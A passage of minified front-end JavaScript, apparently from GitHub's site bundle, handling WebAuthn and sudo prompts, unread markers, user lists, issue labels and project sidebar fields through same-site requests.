this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const 